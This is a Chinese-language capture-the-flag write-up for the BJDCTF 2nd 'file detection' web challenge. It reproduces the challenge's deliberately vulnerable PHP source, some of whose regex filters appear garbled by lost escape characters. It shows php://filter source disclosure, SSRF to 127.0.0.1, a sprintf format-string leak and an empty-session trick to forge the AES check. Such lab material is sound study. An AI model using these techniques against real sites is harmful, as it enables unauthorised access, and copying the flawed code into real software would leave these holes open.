[BJDCTF 2nd]文件探测

进去,扫描后台或者在Header上面,提示了Hint: home.php,同时有个admin.php

这里可以看到url:http://fc78d0cd-9e0e-4013-ac53-a5c9284762ad.node3.buuoj.cn/home.php?file=system

访问的是system.php

我们尝试访问一下flag.php 这里后面是有拼接的,所以我们直接访问flag

url:http://fc78d0cd-9e0e-4013-ac53-a5c9284762ad.node3.buuoj.cn/home.php?file=flag

被过滤了,其他的随便输一下。

估计是拼接,我们这里可以用伪协议来读一下

php://filter/read=convert.base64-encode/resource=home
php://filter/read=convert.base64-encode/resource=system

<?php

setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){
    if (preg_match("/^|~|&||/", $_GET['file'])) {
        die("forbidden");
    }

    if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
        die("not now!");
    }

    if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
        die("You! are! not! my! admin!");
    }

    if(preg_match("/^home$/i", $_GET['file'])){
        die("禁止套娃");
    }

    else{
        if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
            $file = $_GET['file'].".php";
        }
        else{
            $file = $_GET['file'].".fxxkyou!";
        }
        echo "现在访问的是 ".$file . "<br>";
        require $file;
    }
} else {
    echo "<script>location.href='./home.php?file=system'</script>";
}

system

<?php

$filter1 = '/^http://127.0.0.1//i';
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
    $url = $_POST['q2'].".y1ng.txt"; //拼接一个东西到url的最后
    $method = $_POST['q3'];

    $str1 = "~$ python fuck.py -u "".$url ."" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

    echo $str1;

    if (!preg_match($filter1, $url) ){
        die($str2);
    }
    if (preg_match($filter2, $url)) {
        die($str3);
    }
    if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
        die($str4);
    }
    $detect = @file_get_contents($url, false);
    print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

这里,访问要从127.0.0.1,我们想到,可以从127.0.0.1去读admin.php

关于url拼接的,可以在让那个拼接到一个参数上面,比如我们访问admin.php?a=1,拼接后就变成了admin.php?a=1.ying.txt,不影响地址
print(sprintf("$url method&content_size:$method%d", $detect));

对于%d可以发现代码中的$method和%d是连起来的:
print(sprintf("$url method&content_size:$method%d", $detect));
另外sprintf()有格式化字符串漏洞,如果传进去%s就能往出格东西,正好这个$method没有对结尾进行判断,所以可以用GET%s来格式化。但是提交一下发现啥也没有:
问题就出现在了这个GET%s%d上,导致了sprintf()出错,所以还需要把%d转义掉,对于sprintf()函数,对百分号的转义是用2个%而不是反斜线,这点和C的printf()一样。
提交:GET%s%

建议搜索 sprintf格式化字符串漏洞

admin.php:

<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
        return true;
    else
        return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} else {
    echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>";
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
    $decr = $_GET['decrypt'];
    if (Check()){
        $data = $_SESSION['secret'];
        include 'flag_2sln2ndln2klnlksnf.php';
        $cipher = aesEn($data, 'y1ng');
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die('爬');
        }
    } else{
        header('Location: index.php');
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));
    $length = mt_rand(40,80);
    $_SESSION['secret'] = bin2hex(random_bytes($length));
}

这里的重点在加密函数以及后面的相等:

function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

if (isset($_GET['decrypt'])) {
    $decr = $_GET['decrypt'];
    if (Check()){
        $data = $_SESSION['secret'];
        include 'flag_2sln2ndln2klnlksnf.php';
        $cipher = aesEn($data, 'y1ng');
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die('爬');
        }

这里,我们只要把要加密的参数 $data = $_SESSION['secret'];删掉,那么$cipher = aesEn($data, 'y1ng');就变成了$cipher = aesEn('', 'y1ng')
我们完全可以用他的函数跑出来。

本地跑出来以后,提交,是不行的。但是我这有一个预期外的,我换了一个浏览器,flag就直接出来了,是不是因为另外一个浏览器里面没有提前设置的session。

原文地址:https://www.cnblogs.com/vstar-o/p/13474866.html